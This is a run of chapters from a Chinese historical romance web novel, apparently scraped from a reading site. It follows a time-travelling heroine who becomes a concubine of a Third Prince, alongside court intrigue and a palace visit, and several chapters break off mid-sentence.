尤苏寒刚刚这下确实是呛的有些厉害,满脸憋红,眼泪都咳得流下来了。她看着桌上的酒壶直接就拿起来往嘴里倒。那边刘渡刚刚拿到水壶就看到尤苏寒已经在桌旁仰着头把酒倒了个精光,然后才顺了顺喉咙,满意的坐了下来继续拿了块绿豆糕吃了起来。 刘渡撇了撇嘴拿着贴了个囍字的青瓷茶壶走了过去,把她跟前喝空的酒瓶挪到了旁边,倒了杯茶放了过去。 “这盖头自己掀,合衾酒自己喝,这新婚之夜算是别具一格了。”说着举起手里的茶杯淡淡的喝着,眼神倒是一刻都未离开过尤苏寒。他面色平静,尤苏寒看不出来他一点情绪。 “殿下恕罪,我不……妾身不知这是合衾酒啊,刚刚我实在是呛的难受,没想这么多,要不然殿下再让他们上来一壶酒,这次我们一起喝,如何?”说着尤苏寒就拿着刚刚空掉的酒壶走到门口喊道:“影儿,快过来,帮我换壶酒。” 影儿接过后尤苏寒笑嘻嘻的朝着刘渡走去,表情谄媚且僵硬。她走去坐下,假装整理自己的衣袖来掩饰心下忐忑。“这之前看电视,有些女人说话声音大了些,就被打入冷宫,甚至是被拉出去杖毙的也不是没有的。这刘渡虽说是自己的救命恩人,但毕竟身处帝王之家,喜怒不形于色,会不会忽然一不开心把我撵出府去啊。” 尤苏寒越想越觉得不妥,转过头来皮笑肉不笑的看着一旁的刘渡并不讲话,只是直直的盯着。“这说也是错,不说也是错。那就对他笑笑让他心领神会我并无冒犯之意。” 一旁刘渡被她盯得有些发毛,挪了挪身子,冷面朝墙。一时间气氛安静得无比尴尬,恰好希白此时敲了敲门,这才听见刘渡清了清嗓子问道:“何事?” “殿下,你要的酒我拿过来了,影儿姑娘还给尤娘子拿了些吃食,要不要一起送进去?”希白今天似乎比平时还要恪守礼仪一些。 “拿进来吧。”刘渡巴不得希白赶紧进来,这尤苏寒今日不知是怎么了,从刚刚开始,就一直揣着那假模假样的笑脸直勾勾的盯着他。这王府上下,还真就没有敢这么盯着他的人,何况还是个本应娇羞的女子。 希白进去后快速放下酒食,刚想要出来时转头看了看僵坐在桌旁的刘渡。谁知正好碰到了他犀利似剑的眼神,赶紧耸了耸肩关好门走开了。 看着桌上刚添置的几道热乎菜,尤苏寒小心翼翼地问道:“殿下,不如我们赶紧吃吧,马上凉了吃了会胃疼的。”说着尤苏寒拿起了筷子,转而看见刘渡还是坐在那边不吭声一动不动,又识趣的默默放下筷子。刘渡看着她欲言又止的模样不禁笑道:“慢慢吃,不要再噎到了。” 听到如此磁性且温柔的声音,尤苏寒不禁抬眼看了看眼前这个人。喜庆的红袍衬得他的皮肤更加白皙,或许是在前厅喝了酒的缘故,脸颊两处稍显红润。纤长的睫毛下那双深邃的眼睛浸入些许温柔。他并未动筷,那只纤长的手刚想要去拿酒壶。眼疾手快的尤苏寒赶紧起身先一步拿到了酒,倒了一杯放在刘渡跟前。 8. 第 8 章 以退为进 《非是尤物》全本免费阅读 夏篱走过来拍了拍虞初的手,看似责怪道,“你这身子刚好没多久,出来也应该去屋子里面,怎来得这亭榭,四面环风,全无遮挡,这身子哪里会好!” 夏篱对自己的这种无缘由的爱护并未让她感到无可适从,倒像是多了个从未见过的姐姐一样。大概是夏篱太过温柔亲切,没有一点故作姿态之意。自己要是个男人,估计早就芳心暗许了,哪里还轮得到这不解风情的三殿下,真是可惜了。 她看了眼夏篱旁边的刘渡,依旧不苟言笑的站在那边不作声。想必万尘安口中的那个“受人之托”,此人便是三殿下刘渡了。于情于理自己都应该表达下自己的感谢之意。主要也是自己如今无依无靠,他再不济好歹也是高高在上的三殿下。讨好一下,以后日子是不是就会好过一些。想到这里虞初忽然转身看向若有所思的刘渡故作深沉道:“多谢三殿下出手相救,那日才可虎口脱险留得性命,日后定当竭力报答。只是我这身份,恐连累殿下不能心安。” 好一招以退为进,尤苏寒心下想着,古人多圣贤,他刘渡救都救了,总不至于撒手不管吧。毕竟敢无端冒勾结罪臣的风险来救一个女子,好像也说不太通。看着也不像是个男菩萨,估计是跟侯爷有什么利益关系再或是有什么深刻交情。 “我看尤娘子那日在殿下转身走后嘴里说的好像不是什么感激之语吧?我看倒像是骂他的话,我也很好奇,尤娘子那日到底说的什么,那么横眉立目。”万尘安走到尤苏寒身边不怀好意的笑看向她。 “怎么可能,万公子切勿胡言!”尤苏寒本以为刚刚自己那么谦恭懂礼,刘渡不会顾虑太多,以后日子也会好过一些。这下这万尘安把自己那日骂刘渡的事情说了出来,万一是个睚眦必报之人,这漫漫一生如何安度。 夏篱拍了一下万尘安笑斥道:“快别打趣尤娘子了,你看这人都被你吓得不知如何是好了。”转身拉着尤苏寒细语道:“别理他,他就是打趣你。不羁惯了的,不必在意。” “夏篱你还是带她回屋子里去,你身子也不能在外吹风,切莫大意。”刘渡跟夏篱说话的语气永远是那么的温柔。尤苏寒转头看向别处的风景,嘴里嘟囔着:“这万尘安还真是会选地方,树木浓荫,莹莹绿水环绕其中,堪称府中景色一绝之处了。” 万尘安朝着刘渡点头拜别后便乐呵呵的先他们一步离开了亭榭,尤苏寒看着万尘安飘逸的背影不禁好奇,这个男子到底是什么身份,怎么在堂堂三殿下跟前亦是如此随意不羁。她刚想离开,身后的声音忽然叫住了她。 “虞姑娘,怕连累我以后就真当自己是商户之女尤苏寒吧。”,刘渡走上前来看着她疑惑的眼神继续道:“你要习惯这个身份,人多眼杂,切莫让旁人抓住把柄。若有什么物需可以告诉夏篱,或者直接来找我也未尝不可。” 尤苏寒心下早就盘算着,这个身份早就熟悉了,何况三殿下妾室的身份定会更加方便以后查虞候案件。而且在这不愁吃喝,何乐而不为。但脸上依旧是佯作为难。 “我本就是戴罪之身,怕会连累殿下。” “不用害怕,这些殿下自有打算,你就安心住下好生养伤,早日康复如初才是正事。”夏篱在一旁贴心的安慰着。尤苏寒转身时余光撇到站在一边的刘渡,四目相对目光险些碰上,她慌忙移开双眼故作镇定。 “双亲我已派人安置妥当,但目前只能是无名冢,日后时机成熟后我再带你过去。”刘渡说完周边一片寂静,本以为尤苏寒会伤心痛苦,谁知她只是平静的回了句“多谢殿下,这事姐姐先前早已告知我了。多谢殿下费心,无以回报。”说完朝着刘渡跪下磕了三个响头,刘渡刚想去拉,夏篱看了一眼刘渡摇了摇头。 前日里夏篱听影儿说尤苏寒经常夜半时分躲在被窝抽泣,连声音都不敢大声。她害怕惊动了周围人给他们带来不便,更害怕别人来劝慰她,这种撕心裂肺的痛只有自己能切肤感受。如今她这么平静应是强迫自己接受事实,再无其他。 “你以后不用夏娘子夏娘子的叫我了,我比你大不了多少,你就叫我姐姐吧,以后你再要是有什么需要的可以直接来找我,不必见外。” 尤苏寒刚想说话就被旁边的声音打断了。 “如今在这自然不比昔日在虞府自在,你也不必拘束。”男子清冷的脸上难得的挂出一丝轻松笑意。 尤苏寒看着刘渡心下暗自揣度,“想必那晚骂他他是没有放在心上的,先前只是听说三殿下素日游手好闲,不问朝事。起初只是以为他是那种整日女人堆里心荡漾的肤浅之辈,现在看起来倒也不像那回事。” “臣妾谢过殿下,我看姐姐也不能吹风,我们还是先离开这吧。”说完扶着夏篱朝着刘渡微微点头后离开。刘渡也并未多留,愣了一会自己走了。 前厅处,万尘安站在一副画作旁仔细观摩,时不时的还换个角度眯着眼睛观察些什么。忽然眉眼微动转头瞥见站在身后的刘渡,嘴角微扬道:“三殿下新婚燕尔,恭喜恭喜啊。” “说正事!”刘渡并未理会他的调侃,径直进去里面坐了下来。万尘安也收起脸上的轻浮表情立马严肃起来。 “我父亲告诉我,今日早朝二殿下参了李勤一本,私自处理朝廷大臣。皇上授权大皇子主理事务,大皇子身在京内却跳过大皇子直接办案,于情于理都不可饶恕。” “我已知晓此事。刘渝现在做事越来越周密,他定知道父皇对于此案耿耿于怀,就算他不把李勤拉出来垫背,大殿下也会把李勤给揪出来,李勤是万万留不得的。只是我没想到这刘渝这么快就放弃了这个棋子,属实有些意外。” “皇 9. 第 9 章 夏篱 《非是尤物》全本免费阅读 万尘安进去刑部大牢看到李勤的时候已是酉时,李勤看到他出现在面前属实是有些意想不到的。这万尘安是大司马万秦的独子,平日和刘渡游手好闲惯了的,怎么今日忽然出现在此处。李勤心下合计,还未开口,万尘安就先他一步问道:“李大人怎么蹲在自家大牢内,这是为何?” 这万尘安明知故问的语气让李勤很是不悦。“万公子平日不是只在烟花巷柳游荡,今日来这刑部有何贵干?”李勤冷笑着转过身去。 “我当然是来找李大人的,不然你以为我闲着没事跑到这又张又臭的大牢里来做什么。”说着万尘安嫌弃的踢了踢脚边的石子,抖了抖身子,随手掸了掸服。 “找我作甚。”李勤神态坦然,举止并不像阶下囚般狼狈。万尘安不等他说话,朝着旁边的狱卒不耐烦的大吼道:“开门呐,愣着做什么。” 那两个狱卒踌躇不决的看了看里面的李勤,大司马家的公子他们确实是不敢得罪,但是大皇子也有下令任何人禁止入内探望。,他们也不敢违令。 “你不用为难他们了,上面下令不肯我近距离接触任何人,你这是沾了你爹的光,如若不然,你现在想见我一面也是难上加难的。” “李大人不是没有多大罪责吗,这虞术通敌叛变没诛九族就算是轻的了,皇上是事明理之人,若不是二殿下让皇上严查此事以正朝纲,我估计李大人也不会有这无妄之灾了。”万尘安凌厉的眼神变得温和许多继续说道,“今日我来找李大人确实是有事相求。” “何事?” “前些日子和我一起喝酒的马家公子,我听说被你们刑部弄进来了?”万尘安语气稍显谄媚往李勤这边靠近了一些声音低缓地说道,“他不过是仗着自己的官职稍微谋取了些微利,李大人可有法子让手下人通融通融,好处自然不会少了大人的。” 李勤退后一步看着万尘安冷笑道:“万公子怕是找错了人,我一个阶下囚哪里有人会听我的,何况那马裘何止是谋取的微利。你可知我在他家搜出数件珍品名画,虚假账目挪用公奉更是罪大恶极不可宽恕。令尊亦是朝廷命官,两袖清风自是不在话下。若是知道你为了这么一个宵小之辈前来行贿打点,你让令尊颜面何存。万公子切勿做这些毛脚鸡之事惹得大司马不悦,请回吧!” “李大人过分谦虚了,谁不知道这刑部还是你李大人说了算的。我今日听说皇上问三殿下此事如何看法,他也只是说你是按照常规法度办事,顶多是个先斩后奏的越权之罪。现在皇上只是对李大人小以惩戒,过不了几天你李大人不还是会威风凛凛的上朝去。”万尘安看着李勤并不惊讶的神态,心下早已明白一二。他不在此事上多言,转而表情恳切认真的问道,“李大人当真不能看我几分薄面上宽恕宽恕?”。 “大殿下到!”远处传来狱卒的通报声。万尘安赶紧小声凑到李勤跟前说道:“我只是来看你,别无他事,望大人不要多言。” 李勤看着他谨小慎微的模样,认为万尘安怕此事捅到大司马跟前不好收场。毕竟也不是什么大事,得罪他也不是什么能占到便宜的事,微微点头就答应了。 待他们还未完全反应过来,刘渊已经气势汹汹的走到里面,两手叉腰朝着万尘安所在之处怒喊道:“你能耐了是吧,敢跑到这里来,你也不怕大司马过来把你请回家去!” 万尘安见状态度谦和求饶道:“我这不是求助无门啊,他可是我平日里的结伴好友,我只是不想他出事,来看看有没有转机的。我也是刚到这还未跟李大人说上几句,殿下你就来了。殿下你是知道的,我要是为此事去求我爹,他非打死我不可。”万尘安委屈极了,“再说,你不信问问李大人,我只是让他以后多照应照应,别无他求。” 刘渊还未等李勤做出反应紧接说道:“他现在都是泥菩萨过江自身难保了,你求他有什么用,你先回去,我来想想有什么办法。”说着指着出口处示意万尘安出去。 李勤见状并未多言,转身躺下佯装歇下,不跟刘渊多言。 健康殿外,刘渡站在门外等候里面的人前去通报。不一会儿一个打扮跟旁个宫女有所不同的女子朝着他走了过来。 “觅无,怎么样了?” “殿下,皇后说让你以后都不用来了。”女子一边假装为难的说着一边笑着示意刘渡往里走。刘渡心领神会深吸了口气推开了健康殿的大门。 还未走几步,只见一个木柄圆梳朝着自己以迅雷不及掩耳的速度飞了过来。刘渡轻轻侧身躲了过去,捡起地上的木梳无奈笑道:“母后若是当真这么不想见到儿臣,那儿臣还是先行退下,改日再来看望母后。” “你给我站住!” 皇后绕过屏风脚步疾驰的走了出来,只见她两眼干瞪着刘渡:“呸,我当初若是生的是个公主,我还需要现在整日忧心动怒。在后宫我要提防陈贵妃那个小蹄子使奸耍诈,你在外面还不让我省心。早已适配成婚,你若是明媒正娶个身份地位相匹配的,后面再有看得上眼的慢慢纳入府我也不会多言。你这两年行为愈发荒唐不羁,你见过有几个正经男儿不娶妻,一个劲的王府上纳妾的。你是皇子,有多少眼睛盯着你就怕找不到错处来声讨你,你倒好,自己送上门去给那些文官们骂。”皇后越说越是生气,索性直接走上去拍打了刘渡一下子才算稍微泄愤。 “母后切勿动怒,并非儿臣不娶正妻,我要是把他们其中一个扶为正妻你跟父皇哪里会肯。父皇非得几十个板子伺候我。”刘渡委屈巴巴的看着皇后,随后走上前去扶着她走到里面坐了下来。 皇后叹气道:“这达官贵显家那么多好姑娘,你自己看看你都往家里纳的都是些什么人。那个夏篱我一面也是懒得见的,就是个歌姬。你是堂堂三皇子,你知道你弄一个歌姬进门被人笑话成什么样了吗。这就不谈了,这事过去就过去了。现在呢,这又弄来个商户之女。真是色令智昏,名声都被自己糟蹋干净了,这以后谁家还敢把姑娘嫁给你。 10. 第 10 章 院内野猫 《非是尤物》全本免费阅读 马车缓缓停下,刘渡下车后站在门前仰了仰头舒展着脖颈。天边的昏黄洒在他的肩上,落叶四处飘零,游荡许久终在他脚前落下。 停留片刻后他准备进门,刚抬脚旁边的小厮就小跑过来说急促说道:“殿下,万公子今日在府上等了你许久,现下还在正厅等你呢。” 刘渡眼神忽而一亮,额首舒展开来。正好想要找人喝酒,这就来了个现成的了。他转身看了看希白嘱咐道:“你去帮我准备些酒菜,让尘安先过去,我回去房里换身衣服就来。” 刘渡正准备回房,正好路过尤苏寒的住处沁香阁,听见里面嬉声嘈杂的笑的不亦乐乎。他停住脚步不禁往里看了看,只见尤苏寒和一帮屋里的丫鬟正围在院子里的石桌上不知道在看些什么,笑的忘乎所以,连自己进来都无人发觉通报。 他脚步轻盈的走了过去站在尤苏寒身后,可能是太投入了,她并没有意识到身后忽然站了个人。刘渡伸着脖子看着尤苏寒趴在石桌上一张张的纸张好奇的问道:“这是画的什么?” 轻快硬朗的声线突然传入尤苏寒耳边,她微微抬头眼神疑惑:“这声音……”幡然醒悟的她“唰”的一下就要起身。怎料身后之人还未来得及躲避。她的头一下子就撞到了刘渡的下巴。众人见状纷纷惊诧的目瞪口呆,赶紧起身行礼,不敢抬头,以免受到牵连。 尤苏寒摸了摸头上的发叉突然意识想到什么赶紧回头,只见刘渡眉头紧凑,用手挡着嘴角俯视着她。她心下慌张,手忙脚乱的拉开刘渡的手。见他左颚下被划了一条血痕,连忙道歉道:“对……对不起啊,殿下,我不是……有意的。”说着转身吩咐影儿,“快去屋内拿点药过来给殿下上一下。” 刘渡见她惊慌失措的模样不禁逗趣问道:“你可知弄伤皇子玉体,可是大罪?”刘渡原本平静的微眸下增添了几分笑意。旁边原本跪着的下人听到此言后吓得更是不敢抬头,,嘴里直呼道:“殿下恕罪。”这平日里他们见刘渡都是一副不苟言笑冷漠模样,也不怪能把他们吓成这样。 刘渡绕到石凳上坐了下来,拂袖示意他们下去。那几个见状哪里还敢多留,殿下不追究已是恩典。就都一溜烟地全跑掉了。只留下一个刚刚从屋里拿药出来,不知发生了何事的影儿,站在原地愣头愣脑的不知如何是好。刘渡看着她,眼神往右扫去。影儿眼神一亮一下子就明白了刘渡的用意。走到尤苏寒身边轻轻放下药瓶小声说道:“小姐,夏娘子找我有事,我先过去了。”还不等尤苏寒反应,也小碎步的跑了出去。 她嘴角微微颤动,眼神无辜的嘟着小嘴求饶道:“殿下,臣妾真不是故意的。再说是你自己不动声色的站在我身后,我还被你吓了一跳呢,我找谁说理去。”她斜睨撇了一下欲言又止的刘渡,连忙拿起桌上的药瓶,笑脸相迎道:“我来给你上药,没几天就好了。”说着不等他答应就用手抬起了刘渡的下颚,小心翼翼的给他敷药。 刘渡修长的脖颈连着精致的下颚线僵在原地任由她轻轻地擦拭着伤口,尴尬的喉结不自在的滚动着。她离他实在很近,他甚至能听到她轻微的呼吸声。鬓角的碎发随着微风飘动,不停地在他脖间轻抚。他只是想逗逗她,谁知此刻心下生乱的竟是自己。他眼角微动,假意咳嗽的转过身去畅吸了口气,这才感觉脸上微热褪下一半。 “还没好呢!”尤苏寒不解的看着神情不自然的刘渡,忽然幡然醒悟的讥笑道:“殿下刚才是不是害羞了,都取了两房妾室了,怎么还这么扭捏羞涩呢!”她毕竟不是这个时代的女子,言行稍出闺阁之态也是常事。但这刘渡何曾见过说话轻浮还全然不觉的女子,只当她是遗传了虞候不拘小节的性格,不跟她计较罢了。 “害羞什么,我不过是不习惯你这么轻手上药,痒得很。我晚上让希白随便给我涂点就行了。”刘渡清冷的脸上多出些许让人不易擦觉的血色。他拿起散摊在桌上的纸稿嘴角不屑道:“你这画的什么?” 真不怪刘渡没看懂,这纸稿上的画作说是出自十岁儿童的手上都无人愿意夸奖一番。横七竖八,扭扭歪歪的线条,若不是她尤苏寒自己画的,估计她自己也说不出个所以然。 “殿下,您这就不知了,这是我给我这个院子画的设计稿。不懂了吧,这边我想弄个花墙,过上几年这墙上就都能爬满鲜花。这边呢,我可以弄个秋千,平日里又不好出去玩,我就自己搞点东西自娱自乐好了。你是不是也没看懂,不怪你,他们几个刚刚也没看懂,还笑话我来着。自古能人多孤独,你们不懂我,我不怪你们。” 刘渡看着眼前这个滔滔不绝的姑娘,眼神逐渐变得温柔,眉眼间不经意流露出一丝愉悦。他笑而不语,只是静静的听着她侃侃而谈。 院外希白小声呼喊着刘渡。刘渡转身望去,这才想起来万尘安还在等他喝酒。她看了看尤苏寒手中的纸稿,微微笑道:“我还有事,先过去了。”说着刘渡起身离开。 万尘安窃笑着看着一本正经的刘渡笑道:“希白不是说你回去换身衣服就过来的吗,怎么我看你衣服没换,下巴底下却破了相了。”万尘安饶有兴致的盯看着他,似乎已经脑补了一场好戏。 刘渡皱了皱眉摸着自己的下颚无奈道:“回去路上遇到了个小野猫,不小心划到了。” “今日我去李勤那边,我见他那模样估计就算皇上不打算放过他,他也有后策。正悠哉悠哉的在里面睡觉休息呢!” “反正这次你去也没真的想探到什么口风,这倒也正好证实了我的猜测。与其日后被大皇兄死抓住不放,不如现在自己先跳出来先发制人。你把马裘弄进刑部是不是早就计划好了的。这样也好,李勤本就生性多疑。今日我让大皇 11. 第 11 章 翻修庭院 《非是尤物》全本免费阅读 翌日清晨,天刚微亮,希白就带着十几个人来到了尤苏寒的小院里。影儿见这架势赶忙跑出去皱眉小声问道:“你这是干什么,我们娘子还没有醒呢。”影儿一边说着一边张眼看了看他们手里拿着的东西,忽然嘴角微张笑道,“这不是昨儿个我们娘子趴在这胡乱画的那些吗,这些花这么大了,突然挪过来还能活吗?” 希白得意笑道:“这不殿下让宫里的花奴过来了嘛,问题应是不大。” “那你们小声点,我们娘子平日最讨厌睡觉时外面有声了。”影儿一边仔细嘱咐着一边跑去帮忙张罗着。 只是这栽花还好,声音没有那么大。但是打桩做秋千的时候声音还是把屋里正在睡熟的尤苏寒给吵醒了。她眉头微皱,转头看着空旷的房间,声音微哑的喊道:“影儿,什么声啊。” 见无人应答又稍微大声的喊了几声,这才跑过来一个小丫头回道:“影儿姐姐正在外面帮着干活呢,奴婢这就去叫她。” 尤苏寒缓了缓神慵懒的看了眼已经洒在屋内的阳光眯眼道:“你帮我洗漱一下吧,就不用再去叫她了。” 屋外零碎的嘈杂声越来越多,尤苏寒匆匆打扮过后就好奇的跑出去,想看看到底是在做什么东西这么兴师动众的。只见影儿灰头土脸的蹲在地上手扶着一个碗口大的长木,另一个人在上面的不停的敲打让其深入泥土。她徐步上前,走到石桌上拿起上面的纸稿看着。上面笔墨清丽,乍看恰似一副庭院风景画,笔笔细致入微,好不生动。上面的一花一草皆有生机,花团锦簇的秋千上还有一个身穿青绿色衣服的女子坐在上面。发随风动,眼睛微微眯成一线,张着嘴开心的笑着。 她忽然反应过来,这不就昨天她鬼画符的那个设计纸稿吗,我昨天就穿的青绿外衣,把我画的还挺好看。她抬眼在十几个施工下人里面扫了一眼,果不其然,希白亦在其中。她心下明白了什么,跑过去拉着希白笑盈盈的问道:“这可是殿下绘的?” 希白下巴微扬,骄傲的看着尤苏寒:“当然是我们殿下亲绘的了。殿下昨夜在书房画了许久呢。今日就派我来把尤娘子您这院子按着他画的翻新一下。还需大半日估计就好的差不多了,尤娘子您就进屋休息休息,外面脏乱不堪的别弄伤了您,我到时候就不好回去交差了。”希白说完又跑回去埋头干活了。 尤苏寒在院内走了两圈,忽然小跑回房间绑了个襻膊就出来了。影儿抬头看到面色惊诧,也不顾手上脏兮兮的直接跑去尤苏寒身旁拦着。 “小姐,你什么时候干过这些活啊,我们弄就行了,你就在屋里吃吃糕点喝喝茶不挺好的吗?” “我得参与进去啊,帮忙你们弄些杂七杂八的活计,再不济我在那监工也是好的。毕竟是我想出来的,东西放哪里,怎么放我都有数是不是,你就去忙你的,不用管我。”说着尤苏寒拿着把铲锹蹲到墙根处,跟着花奴一起挖了起来。 夏篱过来的时候已经是未时。她手帕微挡在鼻前,眼角轻皱。左儿在旁边搀扶着小步进入院内。她前脚刚进门后脚刘渡就跟了进来,院内奴才们看到他们来行礼后继续忙叨着手里的活。 二人站在台阶上望着已经成型的小院,差不多再一个时辰也就能好了。刘渡背手观摩着,忽然发现西南角上一女子正灰头土脸的在那边不知在捣鼓着什么。他伸头观望,心下嘀咕:“这看起来怎么有点像那丫头。” 旁边夏篱顺着他的目光望去,不禁笑道:“你看那丫头的脸,灰头土脸的跟个小花猫似的。”说着就让左儿去叫尤苏寒过来。 尤苏寒大概是太专注了,并未发觉院子里来了人。左儿过去她才转头往后看了看,跟着她一起走了过去。她脚上的鞋早就被稀散的泥土包裹起来,她顺着台阶刮了刮鞋底。尴尬的抬头笑道:“殿下和姐姐怎么突然过来了,我这还没弄好,有些脏乱,殿下莫怪。” 夏篱眼神疑惑的笑道:“你说你跑去那边弄什么了,怎么把自己弄成这副模样。这希白也是,在这也不拦着,由着她胡闹。”说着瞪了旁边尬笑的希白一眼。希白也很无奈的澄清道:“夏娘子这就是错怪小的了,我们几个何曾没拦过,只是这尤娘子也是个有主意的,非说她准备做个纸稿上没有的东西。我们也不知道她到底要做什么。” 刘渡面无表情的看着西南角落,看起来像是一个小屋之类的玩意。他低头淡淡的问道:“你突发奇想准备在那边造个什么景象?” 尤苏寒看了看自己杰出的半成品,虽说她已尽力,但自己做出来的东西和自己想象中的确实有些差别。但是也不至于看不出来这是个什么吧。她指了指西南角落问道:“殿下是说那个吗,这都看不出来啊,这是个猫屋。” “好端端的做个猫屋做什么?”夏篱更是疑惑了。 “昨天晚上我在后花园跟影儿闲逛,遇到刚准备回去的万尘安。他跟我说我这院子里面有野猫,让我小心点别被抓了。”尤苏寒神采飞扬的叙述着,并未发觉脸色稍显异样的刘渡,继续道,“这万尘安也是的,小猫多可爱,我打算把它安置在我院内。只是我从未见过,不知什么时候会过来。” 夏篱听后窃笑的看了眼一旁无言以对的刘渡打趣道:“对呀,可爱的小野猫,安置的不错。它要是知道你这么给它安置小屋,肯定喜欢,定会来的。赶紧去洗把脸过来陪我和殿下聊聊。” “有事找我?”尤苏寒睁大双眼看着二人,“那你们先进屋,我还有一点点就好了,我去弄一下马上就来。” 刘渡并未讲话只是点头应了一下就跟着夏篱一同进去了。 夏篱进去仅是喝茶,看着在屋内闲走的刘渡放下杯子笑笑问道:“殿下脖子可曾好点?” 刘渡看了眼夏篱皱眉反问道:“你怎么知道我脖子有伤。”他语气亲和,倒也不是真的想知道答案。 “你这脖子上的伤不是在那吗,还需要谁告诉我吗?”说着伸手指了指刘渡下巴打趣笑道:“别人不知也就罢了,我和万尘安还是知道的,你那武功别人想近你身也是不易,除非是全无防备。” 刘渡展眉看了看夏篱:“现在你们俩都喜欢拿我打趣了是吧。对了,等会我让希白把李太医刚开的药送到你屋里,记得吃。” “好好好,你跟我讲话就跟个七八十的老爷似的,凡是都要叮嘱三分。”夏篱脸上多出几分无奈,她把刚刚沏好 13. 第 13 章 心慌难眠 《非是尤物》全本免费阅读 万尘安晚上跟刘渡绘声绘色的形容李勤今日面如死灰的嘴脸时,笑得那是一个痛快。刘渡嘴角弯出一个弧度,神情坦然的说道:“李勤为人狡猾多疑,那日你去牢里找他,想必他是质疑你过去的目的的。好在你早就找好了由头,像他这般多疑告诉刘渝是肯定的。只是刘渝这人向来自负,以他对大皇兄的了解,他肯定会觉得皇兄去牢里找李勤肯定是冲着虞术去的。他李勤能说什么,你们本就不是讨论的一件事。刘渝他哪里会相信,定觉得李勤对他有所隐瞒。”刘渡说道此处冷笑摇头叹道:“李勤现在估计还没完全理清头绪。” 万尘安打开折扇神情舒畅的继续补充道:“这李勤现下估计是以为刘渝认为他跟大殿下有所勾结,才杀了马裘,让他在大殿下那边无以立足。”他顺手拿了桌上的一块绿豆糕放到嘴里,闭眼感叹道:“这怕又是夏篱亲手做的绿豆糕吧,我最喜欢吃她做的了。” “他早知道你喜欢吃这个,特地给你也打包了一份,等你回去的时候我让希白拿给你”。刘渡跟万尘安在一起的时候比跟别人在一起的时候多了份自在的惬意。他在他面前几乎不用伪装些什么,二人皆是如此。他顿了顿眉眼微皱好奇的问道:“你怎么知道最后再去踩上那么一脚,让李勤彻底怀疑起刘渝的?” “就如你说,李勤多疑。我去跟他彻底划清界限,他才会觉得这就是刘渝想要的结果。他跟刘渝的信任,只不过差的就是我这最后一根的稻草。近墨者黑,跟你学得。”万尘安目光狡黠的凑到刘渡跟前坏笑道:“我们这三殿下何时还在刑部牢房里安插了人手了,我竟不知呢!” “之前顺手就放了几个人在里面,没想道起了作用了。那马裘本就该死,不必在意。”刘渡谈论这些的时候依旧风淡云轻,在他眼里,弄死马裘跟弄死一个蚂蚁并无本质上的区别。 希白此时畏手畏脚的探头进来试探的说道:“殿下,这……”希白还没说完刘渡就注意到希白身后的那缕西青色沙裙摆,他冷冷的说道:“出来,看到你了。” 只见身后那女子低着脑袋,移动着碎步从希白身后缓缓上前。她面色尴尬的解释道:“我就是想过来问问,我明日跟你去宫里,要不要准备什么东西啊?” 万尘安看着神情有些好笑的尤苏寒逗趣问道:“尤娘子想要准备什么礼物呢?” “我不知道,主要是我也没钱买什么贵重的东西,她是皇后哎,什么东西没见过,我今日过来就是想知道明日殿下你到底准备的什么贺礼,我多少好准备个贺词吧。” 万尘安憋笑的走到尤苏寒身旁笑呵呵的朝着刘渡说道:“刘渡你到底准备的事什么好东西啊,我还蛮想听听尤娘子贺词的。” 尤苏寒不耐烦的朝着万尘安翻了个白眼,这也不难怪。这万尘安从第一次见面就各种戏谑的想要看她出丑。现在更是毫不掩饰的等着来看好戏了。 “没有准备什么礼物,就是打算带着你去宫里住上两日”。刘渡头都没抬只是淡淡的说着。殊不知尤苏寒听后瞠目结舌的站在原地无奈反问道:“带我去住上两日,你确定吗?” “确定!” 万尘安在旁边早就笑得不亦乐乎的朝着刘渡走去忍俊不禁的说道:“合着你三殿下的贺礼竟是小住两日,前所未有。我现在竟然有些同情尤娘子了,两手空空的去皇宫给皇后贺寿,这怕是够整个后宫茶余饭后笑上几日了。” 虽说这万尘安跟她尤苏寒有些磁场不合,但是不得不承认尤苏寒刚开始听到这个回答时,下意识的反应跟万尘安如出一辙。这刘渡是她儿子,皇后自然不会怪罪他什么,本身就看不上我,那岂不是更会看我不顺眼了。想着想着不禁打了个冷颤,朝着刘渡走去试探的问道:“当真没有准备些别的?” “你刚刚不是都说了吗,母后什么都不缺。”刘渡依旧冷言冷语,尤苏寒从刘渡的声线中听不到一丝起伏。 万尘安折扇半遮着脸庞,喃喃自语道:“还从未见过刘渡这么捉弄过一个姑娘过呢。”他看了眼刘渡,只见他手腕拖着下巴撑在桌上,悠悠然的看着眼前的这个姑娘。表情清冷,差点让人忽视了眼底的温柔。 尤苏寒垂头丧气的走出前厅,她小声埋怨道:“明天我就要死定了,我今晚应该做些什么呢。”她边走边想,不知不觉就走到了沁香院。影儿见她这副摸样以为是被三殿下说教了,安慰道:“小姐,三殿下向来清冷高傲,平日里面笑都难得,殿下若是说你什么不是,你别放心上,早点睡觉,睡一觉就好了。” 尤苏寒目光呆滞的看了看一旁好心安慰她的影儿,皮笑肉不笑的咧嘴冷笑了两声,径直走到床上就睡下了。影儿见状看了眼刚刚跟着尤苏寒一同前去的青草,小声问道:“到底是怎么了?” “三殿下要带尤娘子去宫里小住两日。”影儿听后张嘴不言,张眼望了望床上的尤苏寒,怯怯的走开了。 这天,天还未亮,影儿就进屋把尤苏寒喊醒了。谁知尤苏寒昨晚虽然很早就躺上床了,但是整夜忧虑重重,彻夜难眠,直到寅时才浅浅睡去。她艰难的睁开双眼,只见影儿半张着嘴愁眉苦脸道:“小姐,你怎么眼睛黑了一圈,跟中毒了似的。”她连忙俯身挤干手帕在尤苏寒眼周擦了擦,但是怎么也不见好转。 尤苏寒见她着急的模样,下床走到梳妆台前看了看。这不看还好,一看整个人都惊悚了。只见自己的眼周乌青乌青的,下巴处还长了个包,虽不大,但也很是影响美观。她连忙喊来影儿问道:“你今天给我画个好看的妆容,想办法把我的黑眼圈遮住。这宫里今日来的都 14. 第 14 章 参宴 《非是尤物》全本免费阅读 尤苏寒掀开帘子,宫墙下一排排士兵表情严肃的站在墙下。他们目视前方,眼神中布满了一丝不苟的严肃和威严。她在刘渡的细心搀扶下缓缓下了马车,还没反应过来,就听见齐刷刷行礼声喊道:“三殿下万安” 只见宫门缓缓被打开,一个看似将领的士兵笑嘻嘻的小跑过来迎接刘渡:“三殿下请,皇后已在宫中等候多时了。” “等候多时?”尤苏寒跟在刘渡身后小声嘀咕:“他们都不睡觉的吗,怎么一个个精神这么大。” 